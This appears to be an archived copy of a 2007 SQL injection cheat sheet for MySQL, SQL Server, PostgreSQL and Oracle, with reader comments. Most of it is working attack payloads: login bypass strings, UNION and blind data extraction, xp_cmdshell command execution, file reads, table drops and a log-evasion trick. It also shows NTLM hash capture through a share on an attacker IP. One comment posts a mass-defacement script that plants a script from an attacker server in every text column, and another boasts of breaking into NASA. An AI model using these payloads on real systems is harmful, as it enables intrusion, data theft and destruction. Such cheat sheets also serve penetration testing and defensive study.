docs/attack-docs/sqli/docs.sql_injection_cheatsheet.html
sql injection, security, web application security, web uygulamasi guvenligi, english, 15.03.2007
_SQL Injection Cheat Sheet, Document Version 1.4 _
Currently only for MySQL and Microsoft SQL Server, some ORACLE and some PostgreSQL. Most of samples are not correct for every single situation. Most of the real world environments may change because of parenthesis, different code bases and unexpected, strange SQL sentences.
Samples are provided to allow reader to get basic idea of a potential attack and almost every section includes a brief information about itself.
| M : | MySQL | | S : | SQL Server | | P : | PostgreSQL | | O : | Oracle | | + : | Possibly all other databases |
Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks
Inline Comments - Classical Inline Comment SQL Injection Attack Samples - MySQL Version Detection Sample Attacks
Stacking Queries - Language / Database Stacked Query Support Table - About MySQL and PHP - Stacked SQL Injection Attack Samples
If Statements - MySQL If Statement - SQL Server If Statement - If Statement SQL Injection Attack Samples
Other parts are not so well formatted but check out by yourself, drafts, notes and stuff, scroll down and see.
Comments out rest of the query.
Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.
-- (SM)DROP sampletable;--# (M) DROP sampletable;#admin'--SELECT * FROM members WHERE username = 'admin'--' AND password = 'password' This is going to log you as admin user, because rest of the SQL query will be ignored.Comments out rest of the query by not closing them or you can use for bypassing blacklisting , removing spaces, obfuscating and determining database versions.
/*Comment Here*/ (SM)
DROP/*comment*/sampletableDR/**/OP/*bypass blacklisting*/sampletableSELECT/*avoid-spaces*/password/ **/FROM/** /Members/*! MYSQL Special SQL */ (M)
This is a special comment syntax for MySQL. It’s perfect for detecting MySQL version. If you put a code into this comments it’s going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.
SELECT /*!32302 1/0, */ 1 FROM tablename
ID: 10; DROP TABLE members /*
Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members --
SELECT /*!32302 1/0, */ 1 FROM tablename
Will throw an divison by 0 error if MySQL version is higher than 3.23.02
ID: /*!``32302 10*/
ID: 10
You will get the same response if MySQL version is higher than 3.23.02
SELECT /*!32302 1/0, */ 1 FROM tablename
Will throw an divison by 0 error if MySQL version is higher than 3.23.02
Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.
; (S)SELECT * FROM members; DROP members--Ends a query and starts a new one.
green: supported, dark gray: not supported, light gray: unknown
| | SQL Server | MySQL | PostgreSQL | ORACLE | MS Access | | ASP | | | | | | | ASP.NET | | | | | | | PHP | | | | | | | Java | | | | | |
About MySQL and PHP;
To clarify some issues;
PHP - MySQL doesn't support stacked queries , Java doesn't support stacked queries (I'm sure for ORACLE, not quite sure about other databases). Normally MySQL supports stacked queries but because of database layer in most of the configurations it’s not possible to execute second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can someone clarify?
10;DROP members --SELECT * FROM products WHERE id = 10; DROP members--This will run DROP members SQL sentence after normal SQL Query.
Get response based on a if statement. This is one of the key points of Blind SQL Injection , also can be very useful to test simple stuff blindly and accurately.
IF(condition,true-part,false-part) (M) SELECT IF(1=1,'true','false')IF condition true-part ELSE false-part (S)IF (1=1) SELECT 'true' ELSE SELECT 'false'if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)
This will throw an divide by zero error if current logged user is not "sa" or "dbo".
Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.
0xHEXNUMBER (SM)SELECT CHAR(0x66) (S)
SELECT 0x5045 (this is not an integer it will be a string from Hex) (M)
SELECT 0x50 + 0x45 (this is integer now!) (M)
String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database.
+ (S)
SELECT login + '-' + password FROM members
|| (*MO)
SELECT login || '-' || password FROM members
*About MySQL "||";
If MySQL is running in ANSI mode it’s going to work but otherwise MySQL accept it as logical operator it’ll return 0. Better way to do it is using CONCAT() function in MySQL.
CONCAT(str1, str2, str3, ...) (M)SELECT CONCAT(login, password) FROM membersThese are some direct ways to using strings but it’s always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.
0x457578 (M) - Hex Representation of stringSELECT 0x457578In MySQL easy way to generate hex representations of strings use this;
SELECT CONCAT('0x',HEX('c:\\boot.ini'))
Using CONCAT() in MySQL
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
This will return ‘KLM’.
SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
This will return ‘KLM’.
SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)ASCII() (SMP)SELECT ASCII('a')
CHAR() (SM)SELECT CHAR(64)
With union you do SQL queries cross-table. Basically you can poison query to return records from another table.
SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
This will combine results from both news table and members table and return all of them.
Another Example :
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It's rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.
field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one - check out SQL Server documentation.SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members
Hex() for every possible issueSQL Injection 101, Login tricks
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
....
Login as different user (SM*)
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
*Old versions of MySQL doesn't support union queries
If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.
Username : admin
Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)
In the same order,
HAVING 1=1 --' GROUP BY table.columnfromerror1 HAVING 1=1 -- ' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 -- and so onFinding column number by ORDER BY can speed up the UNION SQL Injection process.
ORDER BY 1-- ORDER BY 2--ORDER BY N-- so on' union select sum(columntofind) from users-- (S)Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.If you are not getting error it means column is numeric.
Also you can use CAST() or CONVERT()
SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
No Error - Syntax is right. MS SQL Server Used. Proceeding.
11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
No Error – First column is an integer.
11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --
Error! – Second column is not an integer.
11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
No Error – Second column is a string.
11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-
Error! – Third column is not an integer. ...
Microsoft OLE DB Provider for SQL Server error '80040e07' Explicit conversion from data type int to image is not allowed.
You’ll get convert() errors before union target errors ! So start with convert() then union
'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*
@@version (MS)
Version of database and more details for SQL Server. It's a constant. You can just select it like any other column, you don't need to supply table name. Also you can use insert, update statements or in functions.
INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)
Insert a file content to a table. If you don't know internal path of web application you can read IIS (IIS 6 only) metabase file (%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path.
Write text file. Login Credentials are required to use this function.
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
You can use VBS, WSH scripting in SQL Server because of ActiveX support.
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' ``Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --
Well known trick, By default it's disabled in SQL Server 2005. You need to have admin access.
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
Simple ping check (configure your firewall or sniffer to identify request before launch it),
EXEC master.dbo.xp_cmdshell 'ping '
You can not read results directly from error or union or something else.
Error Messages
master..sysmessages
Linked Servers
master..sysservers
Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm )
SQL Server 2000: masters..sysxlogins
SQL Server 2005 : sys.sql_logins
Cmd Execute ( xp_cmdshell )
exec master..xp_cmdshell 'dir'
Registry Stuff ( xp_regread )
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
Managing Services ( xp_servicecontrol )
Medias ( xp_availablemedia )
ODBC Resources ( xp_enumdsn )
Login mode ( xp_loginconfig )
Creating Cab Files ( xp_makecab )
Domain Enumeration ( xp_ntsec_enumdomains )
Process Killing (need PID) ( xp_terminate_process )
Add new procedure (virtually you can execute whatever you want)
sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’
exec xp_webserver
Write text file to a UNC or an internal path (sp_makewebtask)
SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/
DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx
You can not use sub selects in SQL Server Insert queries.
SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;
If injection is in second limit you can comment it out or use in your union injection
When you really pissed off, ';shutdown --
By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled in SQL Server 2005. If you have admin access then you can enable these.
EXEC sp_configure 'show advanced options',1 RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE
SELECT name FROM sysobjects WHERE xtype = 'U'
SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')
Modify WHERE and use NOT IN or NOT EXIST ,
... WHERE users NOT IN ('First User', 'Second User')
SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) -- very good one
Using Dirty Tricks
SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int
Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21
';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--
Detailed Article : Fast way to extract data from Error Based SQL Injections
In a quite good production application generally you can not see error responses on the page , so you can not extract data through Union attacks or error based attacks. You have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections.
Normal Blind , You can not see a response in the page but you can still determine result of a query from response or HTTP status code
Totally Blind , You can not see any difference in the output in any kind. This can be an injection a logging function or similar. Not so common though.
In normal blinds you can use if statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAIT FOR DELAY '0:0:10' in SQL Server, BENCHMARK() in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.
This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back ended application and enumerating table names. This requests done for first char of the first table name. SQL queries a bit more complex then requirement because of automation reasons. In we are trying to determine an ascii value of a char via binary search algorithm.
_ TRUE and FALSE flags mark queries returned true or false._
`TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<103--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<89--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<83--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<80-- `
Since both of the last 2 queries failed we clearly know table name's first char's ascii value is 80 which means first char is P. This is the way to exploit Blind SQL injections by binary search algorithm. Other well known way is reading data bit by bit. Both can be effective in different conditions.
First of all use this if it's really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20-30 seconds. database API connection or script can be timeout.
This is just like sleep, wait for spesified time. CPU safe way to make database wait.
WAITFOR DELAY '0:0:10'--
Also you can use fractions like this,
WAITFOR DELAY '0:0:0.51'
if (select user) = 'sa' waitfor delay '0:0:10' 1;waitfor delay '0:0:10'--1);waitfor delay '0:0:10'--1';waitfor delay '0:0:10'--1');waitfor delay '0:0:10'--1));waitfor delay '0:0:10'--1'));waitfor delay '0:0:10'--Basically we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!
BENCHMARK(howmanytimes, do this)
Are we root ? woot!
IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))
Check Table exist in MySQL
IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))
Sleep for supplied seconds.
SELECT pg_sleep(10); SQL Server don't log queries which includes sp_password for security reasons(!). So if you add --sp_password to your queries it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it's possible)
These tests are simply good for blind sql injection and silent attacks.
product.asp?id=4 (SMO)
product.asp?id=5-1
`product.asp?id=4 OR 1=1
`
product.asp?name=Book
product.asp?name=Bo’%2b’ok
product.asp?name=Bo’ || ’ok (OM)
product.asp?name=Book’ OR ‘x’=’x
Sub Queries are working only MySQL 4.1+
Users
SELECT User,Password FROM mysql.user;SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’;
SEL``ECT ... INTO DUMPFILE
Write quer``y into a new file (can not modify existing files)UDF Function
create function LockWorkStation returns integer soname 'user32';select LockWorkStation(); create function ExitProcess returns integer soname 'kernel32';select exitprocess();SELECT USER();
SELECT password,USER() FROM mysql.user;
First byte of admin hash
SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;Read File
query.php?user=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1MySQL Load Data inifile
`create table foo( line blob ); load data infile 'c:/boot.ini' into table foo;
select * from foo;`
More Timing in MySQL
select benchmark( 500000, sha1( 'test' ) );
query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' ); Enumeration data, Guessed Brute Force
select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );MD5()
MD5 Hashing
SHA1()
SHA1 Hashing
PASSWORD()
ENCODE()
COMPRESS()
Compress data, can be great in large binary reading in Blind SQL Injections.
ROW_COUNT()
SCHEMA()
VERSION()
Same as @@version
Basically you put an SQL Injection to some place and expect it's unfiltered in another action. This is common hidden layer problem.
Name : ' + (SELECT TOP 1 password FROM users ) + '
Email : [email protected]
If application is using name field in an unsafe stored procedure or function, process etc. then it will insert first users password as your name etc.
This attack can help you to get SQL Server user's Windows password of target server, but possibly you inbound connection will be firewalled. Can be very useful internal penetration tests. We force SQL Server to connect our Windows UNC Share and capture data NTLM session with a tool like Cain & Abel.
bulk insert foo from '\\YOURIPADDRESS\C$\x.txt' Check out Bulk Insert Reference to understand how can you use bulk insert.
Since these notes collected from several different sources within several years and personal experiences, may I missed some references. If you believe I missed yours or someone else then drop me an email (ferruh-at-mavituna.com), I'll update it as soon as possible.
Lots of Stuff
MSSQL Related
MySQL Related
15/03/2007 - Public Release v1.0
16/03/2007 - v1.1
21/03/2007 - v1.2
30/03/2007 v1.3
13/04/2007 v1.4 - Release
I got lots of notes for ORACLE, PostgreSQL, DB2 and MS Access and some of undocumented tricks in here. They will be available soon I hope. If you want to help or send a new trick, not here thing just drop me an email (ferruh-at-mavituna.com).
Yorumunu Ekle - Yazıcı Versiyonu - Yorumlar için RSS
Thanks so much dear. I'll always looking your help...
This is my SQL virus module for Uday virus (SQL+XSS+AJAX):
';while(1=1) BEGIN DECLARE @Ta varchar(255),@Co varchar(4000) DECLARE uday CURSOR FOR select x.name,y.column_name from sysobjects x,information_schema.columns y where x.name=y.table_name and x.type='U' and (y.data_type='varchar' or y.data_type='text') OPEN uday FETCH NEXT FROM uday INTO @Ta,@Co WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@Ta+'] set ['+@Co+']=''<H2>Legion Of Xtremers</H2><HR><H1>Owned by LOXians now..."vinnu"<script src="http://attackerserver/malicious.js"\>\</script>'' where '+@Co+' not like ''XXXX''')FETCH NEXT FROM uday INTO @Ta,@Co END CLOSE uday DEALLOCATE uday commit END--sp_password
It hunts for all varchar or TEXT type columns in all user defined tables and replaces the values with the malicious values.
"vinnu"
Legion Of Xtremers (India)
Really Great Job dude.
Keep up!
Respect
Tesekkur ederim Abi
Vinnu where can I contact you for a job?
Jaijeya
Some tips about MS-Access (Jet database engine):
You should not insert comment characters as Jet db engine doesn't recognise them so avoid them in injection.
Instead you should try to inject the SQL in such a way that it satisfies the whole query.
In most cases the injection can be done in where or order by clauses so for example:
if query is like: WHERE title LIKE '%<injectionhere>%'
Then do it like: WHERE title LIKE'%a' your SQL here WHERE name LIKE 'a%'
...Likewise.
To know rest of the query insert a single double quote " after a single quote ', in most cases it will reveal the part of query right from injection point.
It is possible to use other databases or files from query. This can also be helpful in enumerating the directory structure of the target server.
Also it is most probable that the server will be windows based if Jet db engine is there. In this case there exists a file called setuplog.txt which gets created right at the time of windows installation and it contains important information about server os and hardware, and it is compatible to be loaded in a query as a table:
'+union+select+1,File,Message,Line,Time,6,Tag,8,9,10,11+from+[TEXT;DATABASE=c:%5Cwindows;HDR=YES;FMT=Delimited].[setuplog.txt]'
Dear Ferruh,
we developped a small tool to aid Webapptesting that includes many of your tricks, It can be find herehttp://wiki.eslimasec.com/esliwiki/ProjectsPost.
hope it is useful 4 u and ya readers.
best regards
In case of Oracle database server, when union doesn't work, then we can retrieve the desired results randomly. It helped me a lot in Penetrating into NASA.
Following type of injection will be helpful in such cases:
'or+1=utl_inaddr.get_host_address((SELECT+username+FROM+(SELECT+username+FROM+all_users+ORDER+BY+dbms_random.value)+WHERE+rownum=1))--
Also in case if u r just pairing single quotes, then u can easily ecape one of the single quote using a forward slash "".
This will again break the SQL query and will inject the parameter as a SQL query.
waow.
this is not going to be a waste bookmark!
thanks
Goooood
@Brent Jenkins:
Well there is a case, when this check can be thwarted, check scenario:
There are atleast two input fields (mostly user/password) and the fields are bound to the maxlength, and the maxlength check is also implemented in server side script e.g. asp, php etc.
Noiw If u fill the first comming input with single quote ' (SQL meta) then, above script will try to pair up the single quotes.
Now if all the space is acquired by single quotes, then above listed script will try to pair up all the single quotes and this will obviously increase the size of input variable. Then if, the variable input is tripped, then it may lead to an unpaired single quotation mark, this will pair up with the second condition's first single quote and will make second condition as a string and the second input becomes a part of SQL script and making SQL injection feasible.
LOX (Legion Of Xtremers)INDIA
this sql not working in .aspx login page. can anyone tell me sql injection to bypass .aspx login page.
Stacked queries didn't work with PHP-MYSQL. Tested on PHP 5.2.1 and Mysql 5.0
If this helps at all, follow this link to a page I posted with some programming help against those SQL Injection attacks!
Hey. Thanks for the tutorial. It is very complete.
All the listed cases are true only for those lames who still use concatenation of user-driven datum to SQL code instead of parameters-binding mechanism
hello
any one can give me an example how to apply SQL injection in website details.
I've got a little tool for generating CHAR() and hex codes for SQL injections if magic quotes is enabled here:
http://wocares.com/noquote.php
just check SQL Injection
' OR 1=1--
oh i tried to sql inject your comments but it didn't worked ! lol
i really liked your article!! it's great! thank you
Thanks so much for the document. Its simply awesome, i m successful
I really liked the cheatsheet. nice work!
Author of MySQLi Dumper
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